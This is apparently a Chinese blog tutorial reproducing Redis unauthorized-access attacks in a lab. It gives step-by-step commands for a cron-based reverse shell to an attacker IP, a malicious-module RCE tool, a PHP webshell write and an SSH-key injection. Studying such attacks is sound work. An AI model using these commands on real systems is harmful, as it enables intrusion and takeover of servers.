【redis漏洞复现】Redis getshell的几种方式

简介:

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。作为一个高性能的key-value数据库,Redis在部分场景下对关系数据库起到很好的补充作用。

环境搭建:

系统:centos7(192.168.111.132)

攻击机:kali(192.168.111.130)

安装redis4.0

1.输入

wget http://download.redis.io/releases/redis-4.0.9.tar.gz

2.解压编译
tar -zxvf redis-4.0.9.tar.gz
cd redis-4.0.9
make
make test
make install

3.修改redis.conf的配置文件添加bind:0.0.0.0

vim redis.conf

4. 启动redis
redis-server /root/redis-4.0.9/redis.conf

getshell(一)

在kali上输入

Redis-cli -h 192.168.111.132//连接目标redis

set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.111.130/8888 0>&1\n"

config set dir /var/spool/cron/

config set dbfilename root

save

之后监听8888端口,等一会就是收到一个shell

getshell(二)

输入

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
git clone https://github.com/Ridter/redis-rce.git

进入RedisModules-ExecuteCommand目录输入

make

会生成moudle.so 文件

之后输入

cp /home/kali/桌面/RedisModules-ExecuteCommand/module.so /home/kali/桌面/redis-rce  

把生成的moudle.so复制到redis-rce目录里面,之后进入redis-rce目录里面输入

python redis-rce.py -r 192.168.111.132 -p 6379 -L 192.168.111.130 -f moudle.so

getshell(三)

上传webshell

redis-cli -h 192.168.111.132----------------------------->连接目标
CONFIG SET dir /www/wwwroot/----------------------------->设置备份路径
CONGIG SET dbfilename x.php ------------------------------>设置备份文件
SET x "<?php system($_GET['cmd']);?>"--------------------->往备份文件里面写入一句话
BGSAVE ---------------------------------->进行保存

之后可以在目标机器中的/www/wwwroot/目录中找到x.php文件

里面的内容:

getshell(四)

前提
a.Redis服务使用ROOT账号启动
b.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

首先生成密钥输入

ssh-keygen -t rsa

之后进入/root/.ssh目录把公钥输入到1.txt中

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>1.txt ----------------------->\n是回车

然后输入

cat 1.txt |redis-cli -h 192.168.111.130 -x set crack---------------------->该命令是把一个

key为crack,值为cat 1.txt 添加到redis中

紧接着进入redis中输入

config set dir /root/.ssh
config set dbfilename authorized_keys
save

最后输入使用ssh登陆

 (Ps:redis 查看key keys *:

              查看值 get key

              清空所有值flushall

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值